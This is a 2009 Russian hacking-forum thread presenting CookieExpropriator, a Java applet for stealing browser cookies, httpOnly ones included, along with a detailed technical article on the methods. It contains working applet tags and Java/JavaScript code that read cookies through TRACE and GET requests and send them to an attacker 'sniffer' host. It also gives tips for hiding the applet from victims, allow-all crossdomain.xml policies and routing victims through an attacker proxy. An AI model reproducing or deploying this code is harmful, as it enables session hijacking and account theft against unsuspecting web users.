Авторские статьи Перехват cookie c помощью JAVA-апплетов

Discussion in 'Статьи' started by LeverOne, 15 Jul 2009.

  1. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    CookieExpropriator - апплет для перехвата cookie.


    В последней бета-версии Opera 10.50 кросс-сайт-трейсинговая уязвимость была исправлена. Ява плагин унифицирован под общие стандарты. Нативный лайв-коннект упразднен, хотя информацию о таких намерениях в FF 3.6 первой опубликовала Мозилла.


    Возможности

    Апплет тестировался на JAVA 6 update 14 (основной функционал и на JAVA 6 update 1) в браузерах IE 6-8, FF 2-3, Opera 9.64-10b, Safari 3-4.0.2, Google Chrome 2 под Windows (в том числе с отключенными плагинами нового поколения), не основан на уязвимостях и предназначен для:

    [Первое] перехвата cookie от базы кода и/или базы документа, иного доверенного сайта при помощи выполнения get- или trace- java-запросов.

    1. Перехват cookie от БАЗЫ КОДА или ИНОГО ДОВЕРЕННОГО САЙТА

    Действует ограничение:
    1) Opera 9-й ветки c отключенным JS требует наличия скрытого ифрейма на странице для получения TRACE-ответа.

    2. Перехват cookie от БАЗЫ ДОКУМЕНТА

    Здесь действуют следующие объективные ограничения:
    1) Д.б. включен JS
    2) FF, IE могут получать cookie от базы документа методами TRACE и GET, Safari и Chrome читают document.cookie. Opera - только методом TRACE, если указан GET - прочитает document.cookie.

    3. Ограничения общего характера:
    1) Opera не может перехватывать cookie при помощи get-запросов (подробности в статье).
    2) Safari с отключенным JS на данный момент не может выполнить ни один апплет (ошибка).

    [Второе] отправки результата сниффер.

    Действует ограничение:
    1) Если сниффер находится на недоверенном хосте, и в браузере выключен JS, то отправка результата на сторонний хост производится только при наличии на странице ифрейма (желательно скрытого). Для снятия ограничения, дабы не внедрять вместе с тегом апплета ещё и ифрейм, разместите на сайте со сниффером кроссдоменный сертификат.

    [Третье] при запуске апплета можно указать, чтобы соединение проходило через http-прокси.

    Действуют ограничения:
    1) Opera не поддерживает проксирование.
    2) Если вы хотите получать возможные ошибки проксирования, то ваш кеширующий прокси должен перехватывать querystring при прямых запросах к нему (апплет напрямую шлет ошибки прокси).


    Апплет управляется с помощью параметров

    1. from [docbase, codebase, http://vulnsite.xz, ,] - адрес источника cookie, по умолчанию - адрес архива или class-файла (то есть база документа + файл -> это обеспечивает положительный ответ сервера на наш запрос). Пробел воспринимается как умолчание.
    2. method [get, trace, ,] - по умолчанию get.
    3. s [http://mysnif.xz/s.gif] - адрес вашего сниффера.
    4. proxyhost [http://myproxy.xz], proxyport [число] - хост и порт HTTP-прокси, порт по умолчанию - 80.
    5. output - указывается для вывода в java-консоль отправляемого на сниффер результата. Используется для предварительных тестов и не требует значений.
    6. frame [имя фрейма] - параметр подтверждает наличие вашего/невашего скрытого фрейма/ифрейма/окна, который/ое может использоваться апплетом для нужд запроса к недоверенному ресурсу в случае отключения JS пользователем. Значение параметра - это д.б. реальное имя фрейма (атрибут name).

    [*] Указание протокола во всех параметрах необязательно.
    [**] Значения параметров from, method могут перечисляться через запятую [,] , что соответствует оригинальному синтаксису. При этом первый метод будет соответствовать первому источнику (from) и так далее.
    [***] Остальные параметры стандартны, о них можете прочитать в статье и в доп. источниках, приводимых в конце.

    Примеры запуска

    1. Перехват cookie от базы документа методом GET, в который внедрен тег applet, а загрузка class-файла происходит с нашего сайта [http://mysite.xz/bla/CExpr.class], с отправкой на сниффер результата

    <applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase s=http://mysnif.xz/s.gif></applet>

    2. То же методом TRACE с выводом на консоль результата

    <applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase method=trace s=http://mysnif.xz/s.gif output></applet>

    3. От базы кода

    <applet width=1 height=1 code=CExpr.class codebase=http://vulnsite.xz/bla s=http://mysnif.xz/s.gif></applet>

    4. От стороннего сайта

    <applet width=1 height=1 code=CExpr.class from=http://somesite.xz/good/bad/ugly.html codebase=http://mysite.xz/bla s=http://mysnif.xz/s.gif java_arguments='-Djnlp.altCrossDomainXMLFiles=http://somesite.xz/good/crossdomain.xml'></applet>

    5. От базы документа методами TRACE и GET

    <applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase,docbase method=get,trace s=http://mysnif.xz/s.gif></applet>

    6. В условиях, когда сайт не предоставляет правильную ссылку на class файл (например, в конце URL нужны параметры), необходимо использовать архивирование. Допустим, ссылка на архив выглядит как http://vulnsite.xz/myjar.jar?blo=blo , тогда

    <applet width=1 height=1 code=CExpr.class archive=myjar.jar?blo=blo codebase=http://vulnsite.xz s=http://mysnif.xz/s.gif></applet>

    7. Вариант, учитывающий возможность отключения JS пользователем

    <iframe name=lo width=0 height=0 frameborder=0></iframe>
    <applet frame=lo width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase method=trace s=http://mysnif.xz/s.gif output></applet>


    8. Google Chrome 2 в качестве параметров апплета воспринимает только заранее предопределенные в HTML атрибуты тега. Поэтому, если вы рассчитываете и на этот браузер, придётся все управляющие параметры писать в теге PARAM (в целом так правильнее)

    <applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla>
    <param name=from value=docbase>
    <param name=method value=trace>
    <param name=s value=http://mysnif.xz/s.gif>
    <param name=output>
    </applet>


    9. Если не желаете передавать параметры явным образом, то можете изменить переменные класса непосредственно в исходном коде с перекомпиляцией *.

    Внешние признаки запуска апплета

    - Opera никак не сигнализирует, что запущен апплет.
    - Остальные браузеры, поддерживающие плагины второго поколения, показывают в трее иконку JVM. Доступ к ней запрещен менеждером безопасности, поэтому всё, что можно сделать, это по окончании работы апплета с помощью JS удалить узел апплета из DOM-дерева, после чего иконка исчезнет ровно через 1 минуту. В Google Chrome она исчезает сразу. Однако, если на странице продолжаются запуски java (например, продолжает работать механизм получения cookie от базы документа), то иконка останется.
    - Tакже возможно, что апплет выдаст себя при загрузке, показав прогрессбар. Именно во избежание данной угрозы размеры его показа минимизируются до 1 пикселя, также не будет лишним стилевое сокрытие с пом. visibility:hidden (ни в коем случае не display:none!).
    - В некоторых браузерах сообщение о запуске апплета может появляться в статус баре, поэтому имя классу следует давать попроще (уж никак не CookieExpropriator...) Единственное требование - принцип уникальности: сочетание символов названия класса не должно содержаться в других тегах, поскольку для самоудаления апплет ищет себя в документе по имени класса.

    Сказанное означает, что апплет - это достаточно заметный инструмент для организации перехвата cookie у основной массы пользователей и незаметный, если используется браузер Opera.

    СКАЧАТЬ: _http://cookieexpropriator.googlecode.com/files/CExpr.rar


    ВИДЕО: _http://cookieexpropriator.googlecode.com/files/cexpr_v.rar

    Апплет создан исключительно в познавательных целях. Автор не несет ответственности ни за что.

    -------
    * Компиляция кода происходит только при указании пути к plugin.jar, где находится класс netscape.javascript.JSObject, в переменной -classpath. Если у вас не прописаны переменные среды, команда компиляции будет выглядеть примерно так:
    Code:
    [COLOR=White]"C:\Program Files\Java\jdk1.6.0_14\bin\javac.exe" -classpath "C:\Program Files\Java\jdk1.6.0_14\jre\lib\plugin.jar" "C:\[путь к вашему файлу java]\CExpr.java"[/COLOR]
    
     
    #1 LeverOne, 15 Jul 2009
    Last edited: 4 Jun 2010
    8 people like this.
  2. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Перехват cookie c помощью JAVA-апплетов

    Сразу нужно различать три главных ситуации, которые могут возникнуть при попытке перехвата данных апплетом:
    А) С целевого хоста, то есть с хоста, с которого нам необходимо получить некую информацию, загружается Java-класс апплета (далее - апплет), а пользователь находится на странице, в которую нами внедрен тег applet (embed, object).
    Б) На целевом сайте нами внедрен тег applet, код апплета загружается с нашего хоста.
    В) Нужно выполнить java-запрос на сторонний целевой сайт.
    Далее хост, с которого загружается код апплета, называется базой кода, или codebase. Страница, в которую внедрен тег applet, носит название базы документа, или documentbase.

    Рассмотрим эти три ситуации более подробно.

    I. Целью является база кода.

    Эта ситуация возникает в том случае, когда мы можем загружать на целевой хост файлы c кодом апплета (расширения .class, .jar - в общем случае, в частных случаях еще и некоторые другие).
    Таким образом, если в нашем распоряжении нет уязвимости типа XSS, достаточно, чтобы авторизованный пользователь базы кода перешёл на наш доверенный сайт, с которого будет запущен наш апплет.
    Когда пользователь заходит на доверенный сайт, апплет инициирует запрос к базе своего кода (только туда он и может коннектиться без специального разрешения*) и направляет в её сторону cookie. Это служит отправной точкой для перехвата такой информации.
    В java имеется достаточно большой набор средств для работы с сетью, но только лишь запрос апплета с помощью класса URLConnection (или его расширений) содержит информацию, переданную браузером. Никакие прямые сокет-соединения и другие средства этим свойством не обладают.

    А) Перехват с помощью ТRACE-запросов.

    Когда мы использовали ТRACE в IE6 с помощью Msxml.XMLHTTP для обхода httpOnly, существовала необходимость по меньшей мере искать способ запуска скрипта на целевом хосте, поскольку поддержка кроссдоменных запросов была включена далеко не у многих. Здесь же JAVA позволяет нам кроссдoменный TRACE-запрос к базе кода.
    Сразу отмечу, что для получения кукисов с флагом httpOnly этот способ неуниверсален. В большинстве случаев он не годится, поскольку в браузерах IE, FF, GChrome в JAVA-машину не передаются ВСЕ кукисы при ЛЮБЫХ запросах, если хотя бы один из них имеет флаг httpOnly. О других браузерах ниже. Однако для перехвата обычных кукисов TRACE-запрос весьма пригоден.

    Trace.java
    Code:
    import java.applet.*;
    import java.net.*;
    import java.io.*;
    
    public class Trace extends Applet 
    {
     public void start() 
     {
      try {
           URL url = getCodeBase();
           HttpURLConnection conn = (HttpURLConnection) url.openConnection();
           conn.setRequestMethod("TRACE");
           InputStream inp = conn.getInputStream();
           LineNumberReader lr = new LineNumberReader(new InputStreamReader(inp));
           String request = lr.readLine();
           while (request != null) request += " " + lr.readLine();
           System.out.println(request);   // вывод на консоль
          }
      catch (Exception e){}
     }
    }
    
    Получение кукисов с флагом httpOnly c помощью метода TRACE в JAVA
    возможно на сегодняшний день в двух браузерах из числа распространенных, а именно в Opera (текущая версия 9.64, однако сказанное здесь и далее действительно и для версии 10.00beta, если иное не оговорено специально) и Safari (текущая версия 4.0.2).
    При этом браузер Opera девятой ветки имеет ошибку (раньше Я думал, что защиту), связанную с неправильной обработкой ответа сервера, который выдается в ответ на TRACE-запрос. Состоит она в том, что входящий поток (InputStream), ассоциированный с URL-соединением, не будет содержать тела сообщения.
    Code:
    <script>
    
    function javacon(url)
    {
     javaurl = new java.net.URL(url);
     conn = javaurl.openConnection();
     conn.setRequestMethod('TRACE');
     input = conn.getInputStream();
     // в 9.64 выведет null
     alert(new java.io.LineNumberReader(new java.io.InputStreamReader(input)).readLine());
    }
    
    </script>
    <input type=button value="внутридоменный TRACE-запрос" onclick="javacon(location.href+'.txt')">
    
    Однако же это компенсируется другим "обстоятельством", суть которого вы попытайтесь понять сами. Лишь отмечу, что мы имеем дело с нарушением спецификации HTTP 1.1 RFC 2068. Благодаря последнему мы всё же можем получать TRACE-запросы с куками httpOnly у Opera 9.64.

    Внутридоменный TRACE-запрос (Opera)
    Code:
    <script>
    
    function javacon(url)
    {
     var javaurl = new java.net.URL(url);
     var conn = javaurl.openConnection();
     conn.setRequestMethod('TRACE');
     conn.getInputStream();
     setTimeout("with(new XMLHttpRequest())open('GET','"+url+"',false),send(null),alert(responseText)", 1000);
    }
    
    </script>
    <input type=button value="внутридоменный TRACE-запрос" onclick="javacon(location.href+'.txt')">
    
    Либо без JS - кроссдоменнтый ТRACE-запрос (Opera)

    Code:
    <iframe name=channel width=0 height=0 frameborder=0></iframe>
    <applet codebase="http://mysite.xz" code="Trace.class"></applet>
    
    Trace.java
    Code:
    import java.applet.*;
    import java.net.*;
    import java.io.*;
    
    public class Trace extends Applet 
    {
     public void start() 
     {
      try {
           URL url = getCodeBase();
           HttpURLConnection conn = (HttpURLConnection) url.openConnection();
           conn.setRequestMethod("TRACE");
           conn.getInputStream();
           Thread.sleep(1000);
           getAppletContext().showDocument(new URL("data:text/html;charset=utf-8,<img src='" + URLEncoder.encode(url.toString(), "UTF-8") + "' style=visibility:hidden>"), "channel");
           inp = url.openStream();
           LineNumberReader lr = new LineNumberReader(new InputStreamReader(inp));
           String request = lr.readLine();
           while (request != null) request += " " + lr.readLine();
           System.out.println(request);   // вывод на консоль
          }
      catch (Exception e){}
     }
    }
    
    К счастью, в десятой версии это "неудобство" было исправлено, и если вы проверите первый пример с функцией javaconn, он сработает.
    Java-плагин браузера Safari 4 не имеет никаких специальных правил относительно передачи в ява-машину httpOnly-кукисов. Это значит, что перехват таких кукисов возможен даже без TRACE-запроса, если ответы на него не разрешены на целевом сервере. Об этом далее.

    Б) Перехват cookie при помощи getRequestProperty()

    Если поддержка TRACE на целевом сервере отключена, то мы можем воспользоваться методом getRequestProperty("Cookie") класса HttpURLConnection, который возвратит нам проиндексированное значение указанного заголовка запроса. Но не все реально передаваемые java-запросом заголовки доступны посредством указанного метода. Так, например, сессии basic-авторизации, которые возможно перехватить трейсом, здесь будут недоступны. Метод по нужной нам схеме работает везде, кроме браузера Opera.

    RequestProperty.java
    Code:
    import java.applet.*;
    import java.net.*;
    
    public class RequestProperty extends Applet 
    {
     public void start() 
     {
      try {
           URL url = getCodeBase();
           HttpURLConnection conn = (HttpURLConnection) url.openConnection();
           conn.getInputStream();       // по умолчанию GET
           String cookie = conn.getRequestProperty("Cookie");
           System.out.println(cookie);  // вывод на консоль
          }
      catch (Exception e){}
     }
    }
    
    Согласно определению, содержащемуся в абстрактном классе java.net.URLConnection, метод getRequestProperty(String) должен порождать исключение типа IllegalStateException, если соединение уже состоялось. Мы же вызываем этот метод именно после установки соединения, пользуясь тем, что в конкретном классе - sun.net.www.protocol.http.HttpURLConnection, который использует JVM, данный метод переопределен таким образом, что становятся доступными уже отправленные заголовки. А вот родственный метод getRequestProperties(), возвращающий все заголовки запроса, так и остается не переопределенным и может быть вызван только ДО установки соединения (то есть покажет только custom заголовки). Каким же образом в java-запросе при помощи URLConnection появляются кукисы, привязанные к целевому сайту? В указанном конкретном классе sun.net.www.protocol.http.HttpURLConnection для этого имеется отдельный приватный метод setCookieHeader(), работающий с особым CookieHandler'ом. Этот кукихандлер имеет тип sun.plugin2.main.client.PluginCookieSelector и назначается в качестве дефолтного для данного класса. В отличие от пользовательских кукихандлеров, из которых нельзя получить cookie, предварительно их туда не положив, рассматриваемый хандлер через ряд связанных системных классов осуществяет взаимодействие с браузером и получает уже имеющиеся в нем кукисы. Из класса sun.net.www.protocol.http.HttpURLConnection делается это обычным для кукихандлеров методом get(URI uri, Map<String,List<String>> requestHeaders). Однако интересно, что в PluginCookieSelector'е есть еще один, приватный метод getCookieFromBrowser(URL url), который возвращает кукисы, имеющиеся в браузере, привязанные к произвольному url-параметру.

    В браузере Opera (9.64) используются свои классы, собранные в \Opera\classes\opera.jar. Они, в частности, по-своему расширяют абстрактный класс java.net.HttpURLConnection в com.opera.URLConnection, com.opera.DataURLConnection, com.opera.OperaURLConnection, com.opera.JavascriptURLConnection и др. Помимо неоспоримых преимуществ, - так, например, только java-плагин браузера Opera поддерживает data:url и может вызвать апплет из архива, закодированного в параметре (archive=data:url) **, - имеются и недостатки, которые сужают реализованные по умолчанию возможности java.

    Использование собственных сетевых классов приводит к тому, что PluginCookieSelector не задействуется, а добавление дополнительных заголовков к запросу (таких как cookie) производится в нативном коде. Непубличные нативные (native) методы - характерная черта java-классов Opera. Из вышеуказанного понятно, почему метод getRequestProperty(String), переопределенный в классе com.opera.URLConnection, не будет возвращать нам отправленные заголовки.

    II. Целью является база документа.

    Мы разместили файл java-класса на своем хосте и внедрили тег applet на целевой хост, отсылать запросы к нему самому апплет не может. Но он может использовать javascript из апплета в контексте базы документа.

    Существуют два способа выполнить из апплета javascript:
    А) Метод showDocument(URL)

    JSfromJava1.java
    Code:
    import java.applet.*;
    import java.net.*;
    
    public class JSfromJava1 extends Applet 
    {
     public void start() 
     {
      try {
           getAppletContext().showDocument(new URL("javascript:alert('JS from Java 1'); [COLOR=White]void(0);[/COLOR]"));
          }
      catch (Exception e){}
     }
    } 
    
    Б) Пакет netscape.javascript и группа пакетов Common DOM API. Я буду использовать первый, т.к. в нашем случае это проще.

    JSfromJava2.java
    Code:
    import java.applet.*;
    import netscape.javascript.*;
    
    public class JSfromJava2 extends Applet 
    {
     public void start() 
     {
      try {
           JSObject window = JSObject.getWindow(this);
           window.eval("alert('JS from Java 2')");
          }
      catch (Exception e){}
     }
    }
    
    В приложениях, где время исполнения java-кода не является критическим фактором, можно прибегать к вызову этих же самых методов через рефлексию, что позволяет избежать необходимость прописывания classpath. Но нам время важно.

    JSfromJava3.java
    Code:
    import java.applet.*;
    import java.lang.reflect.*;
    
    public class JSfromJava3 extends Applet 
    {
     public void start() 
     {
      try {
           // ссылка на класс
           Class c = Class.forName("netscape.javascript.JSObject");
           // ссылка на один метод  
           Method getwind = c.getMethod("getWindow",new Class[]{Applet.class});
           // ссылка на второй метод
           Method eval = c.getMethod("eval", new Class[]{String.class});
           // вызов первого метода
           Object jswin = getwind.invoke(c, new Object[]{this});
           // вызов второго метода
           eval.invoke(jswin, new Object[]{new String("alert('JS from Java')")});
          }
      catch (Exception e){}
     }
    } 
    
    Теперь о преимуществах и недостатках. У вызова с помощью netscape.javascript не было бы никаких недостатков, если бы данный пакет не был бы самостоятельно реализован в Opera, где при выключенном яваскрипте апплет зависает напрочь, и до дальнейших команд очередь не доходит => исключение также поймать невозможно. Ещё одно обстоятельство - Opera требует наличия в апплете атрибута MAYSCRIPT для доступа к JS из апплета с помощью пакета netscape.javascript, если этого атрибута нет, бросается исключение JSException("Applet not allowed to access javascript."). Обстоятельство, которое следует расценивать как временное, - невозможность использовать netscape.javascript в FF c выключенной поддержкой плагинов нового поколения, ибо возникает исключение netscape.javascript.JSException("Native Window is destroyed").

    Вызов с помощью showDocument(URL javascriptProtocolCode) не требует mayscript, браузер не зависает, однако выполнение JS бросается на самотёк, контролировать его мы не можем. Кроме того выявлено, что в IE 7-8 размер запроса, помещаемого в адрес бар (что относится и к псевдоскрипту), ограничен 2084 байтами.

    Именно поэтому самый надежный вариант (для Opera) - это проверять с помощью showDocument включенность JS и программно добавлять, если это требуется, в код апплета атрибут mayscript. После этого можно смело использовать netscape.javascript для более сложных действий из апплета***.

    Чтобы иметь возможность получать доступ к кукам не только через document.cookie, а использовать весь арсенал JAVA-апплетов в отношении базы документа, нужно еще раз обратиться к отдельным аспектам liveconnect'а, реализованным в некоторых браузерах, а именно к прямому вызову java из javascript****.

    Code:
    <script>
    var string = new java.lang.String('Java from JS');
    alert(string);
    </script> 
    
    В FF и Opera этот код работает безоговорочно. В IE, считается многими, данные возможности не реализованы. Однако... с выходом плагинов нового поколения это не совсем так. Теперь прямой вызов java БУДЕТ работать в IE, если использовать вызов по схеме java->javascript->java (проверено на IE6-IE8). В Safari 4 и Chrome 2 эта технология не реализована.

    JavaJSJava.java
    Code:
    import java.applet.*;
    import netscape.javascript.JSObject;
    
    public class JavaJSJava extends Applet 
    {
     public void start() 
     {
      try {
           JSObject window = JSObject.getWindow(this);
           window.eval("var string = new java.lang.String('Java from JS')");
           window.eval("alert(string)");
          }
      catch (Exception e){}
     }
    } 
    
    Причина, по которой такой код не срабатывает сразу из JS, состоит в том, что пакеты java остаются в IE неинициализированными. После инициализации всех java-пакетов, которая осуществляется при однократном вызове JS->Java из апплета, дальнейшие вызовы java можно осуществлять из ЛЮБОЙ области на странице.

    Имея возможность вызывать JS из Java и далее Java из JS, мы можем реализовать java-запросы к базе документа из апплета.

    RstfromDocBase.java
    Code:
    import java.io.*;
    import java.net.*;
    import java.applet.*;
    import netscape.javascript.*;
    
    public class RstfromDocBase extends Applet 
    {
     public void start() 
     {
      try {
           JSObject window = JSObject.getWindow(this);
           window.eval("var op = new java.net.URL('" + getDocumentBase().toString() + "').openConnection()");
           // получаем входящий поток (при этом осуществляется коннект)
           window.eval("var inp = op.getInputStream()");
           // подготавливаем чтение
           window.eval("var request = ''");               
           window.eval("var lnr = new java.io.LineNumberReader(new java.io.InputStreamReader(inp))");
           // читаем ответ
           window.eval("while ((n = lnr.readLine()) != null) request += n + ' '");
           // переносим из DOM в Java
           String request = (String)window.getMember("request");
           // ответ сервера будет выведен на консоль
           System.out.println(request);
          }
      catch (Exception e){}
     }
    } 
    
    ---------------------
    * Opera позволяет апплетам подключаться к localhost без дополнительных разрешений, что открывает перспективы для различного рода "удаленных" действий в отношении локально установленных серверов.

    ** См. этот пример: _http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4756961. Такой запуск апплета лишает его возможности подключаться к базе кода.

    *** Safari - единственный браузер из числа указанных, который a) отказывает при любой попытке вызвать java-апплет при отключенном JS, б) не перехватывает исключений типа JSException при ошибке JS. В FF расширение NoScript выполняет лишь видимое отключение JS. Если пользователь разрешает на странице выполнение апплета, загруженного с другого сайта, но оставляет запрещенным JS, апплет не может использовать метод JSObject.eval(String), но имеет доступ к уже определенным элементам дерева DOM данного окна через JSObject.getMember(String).

    **** При этом следует помнить, что обращение JS к публичным методам апплета возможно только в том случае, если JS и java-класс имеют общую базу кода => если апплет загружается с другого хоста, то вызов его метода из JS не разрешается.
     
    #2 LeverOne, 15 Jul 2009
    Last edited: 15 Nov 2009
  3. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    III. Java-запрос на сторонний сайт

    1. Расширение sandbox (crossdomain.xml)

    Апплету как недоверенному (untrusted) коду необходимы дополнительные права для выполнения запросов к стороннему хосту. И здесь до недавнего времени был только один легальный путь - подписывание апплета, при котором юзеру будет выведено уведомление о потенциальной опасности этих действий. Сейчас возможен второй вариант: наш сервер должен выдать апплету права с помощью отправки сертификата аналогично тому, как это происходит во Flash *****. Содержание этого сертификата, разрешающего доступ со всех доменов, также аналогичное.

    crossdomain.xml
    Code:
      
    <?xml version="1.0"?>
    <!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
    <cross-domain-policy>
    	<allow-access-from domain="*"/>
    </cross-domain-policy>
    
    Все части сертификата, кроме
    Code:
    <cross-domain-policy>
    	<allow-access-from domain="*"/>
    </cross-domain-policy>
    
    ,не являются обязательными, и их можно (а чаще всего и нужно) опустить.

    Сертификат не принимается JVM, если содержит блок site-control (на данный момент), т.е. некоторые валидные во Flash сертификаты оказываются в JAVA бесполезными.

    Возможность разрешения кроссдоменных подключений путем расширения sandbox присутствует в JAVA начиная с версии 6 update 10 (официальный релиз от октября 2008 г.)

    Собственно из вышеприведенной информации ясно, что наша задача может заключаться не только во внедрении class-файла в целевой хост, но и в размещении там файла с кроссдоменным сертификатом. На данный момент по причине относительной новизны плагинов нового поколения, этот способ является менее предпочтительным. Преимущество одно - мы сами можем выбрать расширение для файла с сертификатом, т.к. content-type не проверяется.

    При http-соединении Файл crossdomain.xml по умолчанию будет запрошен из корневой директории стороннего сайта по 80-му порту и сохранится в её кеше.
    Местоположение сертификата безопасности, отличное от дефолтного, нужно указывать в теге param, вложенном в тег applet.

    Code:
    <param name="java_arguments" value="-Djnlp.altCrossDomainXMLFiles=http://mysite.xz/good/bad/ugly.jpg">
    
    Несколько адресов сертификатов можно указывать через запятую-разделитель.

    Дополнительным способом является указание параметров апплета в jnlp-файле, однако при этом необходимо размещать апплет в jar-архиве. В jnlp-файле имеется 3 места, в которых можно задать параметры:
    - атрибут java-vm-args тега j2se (java) блока resources,
    - тег property блока resources,
    - тег param блока applet-desc (параметры, необходимые вашему апплету, но не исполняющей системе).

    Ссылка на jnlp-файл указывается, как и остальные параметры апплета:

    Code:
    <applet>
    <param name="jnlp_href" value="http://somesite.xz/jnlp.jnlp">
    </applet>
    
    А минимальный jnlp-файл, в котором определено альтернативное место расположения сертификата, будет выглядеть так:

    Code:
    <jnlp>
        <information>
            <title>.</title>
            <vendor>.</vendor>
        </information>
     
        <resources>
            <jar href="CExpr.jar"/>
            <j2se version="1.2+" java-vm-args="-Djnlp.altCrossDomainXMLFiles=http://mysite.xz/good/bad/ugly.jpg"/>
            <!-- 
            <property name="jnlp.altCrossDomainXMLFiles" value="http://mysite.xz/good/bad/ugly.jpg"/> 
            -->
        </resources>
        
        <applet-desc 
            name="."
            main-class="CExpr"
            width="1"
            height="1">
        </applet-desc>    
    </jnlp>
    
    Несмотря на то, что большинство возможностей плагинов нового поколения недоступны в Opera, кроссдоменные сертификаты поддерживаются, если ссылка на них указывается не в jnlp-файле, а в параметре java_arguments.

    2. Проксирование клиента

    Метод тесно связан с первым пунктом и привносит новое ко всему сказанному выше с точки зрения техники выполнения перехвата.

    Класс URLConnection может работать через прокси. В апплетах данная возможность поддерживается везде, кроме браузера Opera, главный нативный метод которого nativeConnect(String urlString, byte httpMethodInt, com.opera.InputStream inputstream, com.opera.OutputStream outputstream, String extraHeaders) прокси-соединение не реализовал.

    Проксирование приводит к тому, что в пределах инициируемого нами URL-соединения оно производится исключительно через наш прокси-сервер.
    На подключение к прокси-серверу распространяются те же самые ограничения - соединение возможно только с базой кода. Таким образом, если прокси расположен на том же хосте, что и class-файл (или шире - база кода), то дополнительных прав на подключение к нему ява-машина не запросит. Если нет - будет запрошен сертификат.

    ProxyConn.java
    Code:
    import java.applet.*;
    import java.net.*;
    import java.io.*;
    
    public class ProxyConn extends Applet 
    {
     public void start() 
     {
      try {
           Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("myproxyhost.xz", 80)); 
           URL url = getDocumentBase();
           HttpURLConnection conn = (HttpURLConnection) url.openConnection(proxy);
           conn.connect();
          }
      catch (Exception e){}
     }
    } 
    
    Способ хорош тем, что задача сохранения всех заголовков переносится на наш прокси-сервер, соответственно, задача пересылки пользовательской стороной полученного результата снимается.

    Такова общая картина. В данной статье Я не стал останавливаться на том, что относится к "уязвимостям", однако, истинно говорю вам, их здесь целая россыпь.

    ------------------
    ***** См. здесь _http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html, _http://www.securitylab.ru/contest/300506.php, _http://flexconstructor.blogspot.com/2008/11/flashplayer10.html. Кстати, во второй статье автор был вынужден использовать флеш-грабберы, потому что в AS нет средств для прямой работы с обычными cookie. В java, как мы видим, они есть, и это предоставляет нам большую свободу действий.


    LeverOne. июль 2009 г.


    Дополнительные источники

    1. Апплеты нового поколения // Игорь Некрестьянов / 20.07.2008. _http://developers.sun.ru/content/view/193/89/
    2. Новые возможности Desktop Java// Игорь Некрестьянов. _http://conference.javatalks.ru/data/6u10_overview.pdf
    3. Release Notes for the Next-Generation Java™ Plug-In Technology JDK 6u10 _http://java.sun.com/javase/6/webnotes/6u10/plugin2/
    4. Java Doodle: crossdomain.xml Support // Joshua Marinacci / 28.05.2008. _http://weblogs.java.net/blog/joshy/archive/2008/05/java_doodle_cro.html
    5. JNLP Support in the New Java™ Plug-In Technology _https://jdk6.dev.java.net/plugin2/jnlp/
    6. JNLP File Syntax _http://java.sun.com/javase/6/docs/technotes/guides/javaws/developersguide/syntax.html
    7. Что такое Java Web Start и как это можно использовать // AntonSaburov. _http://base.vingrad.ru/view/125-CHto-takoe-Java-Web-Start-i-kak-eto-mozhno-ispolzovat_
    8. Java & JavaScript: принципы и приемы взаимодействия // Всероссийский Клуб Веб-мастеров / 2007. _http://www.codenet.ru/webmast/js/js-java.php
    9. LiveConnect. Обзор // Netscape Communications Corporation / 1999. _http://www.karaganda-rus.de/clientguide_13/lc.htm
    10. Applet <-> Javascript integration // Louis Botterill / 23.11.2008. _http://louisbotterill.blogspot.com/2008/11/applet-javascript-integration.html
     
    #3 LeverOne, 15 Jul 2009
    Last edited: 3 Nov 2009
    3 people like this.
  4. A66at

    A66at New Member

    Joined:
    26 Nov 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    LeverOne, скажи пожалуйста, в чем может быть причина того, что не работает метод GET в любом браузере (IE, Mozilla)?
    Возвращает что-то вроде Request[+Host:+null+User-Agent:+null+Cookie:+null+]%20rand:154
    Причем все это происходит даже когда база кода и база документа находятся в одном домене.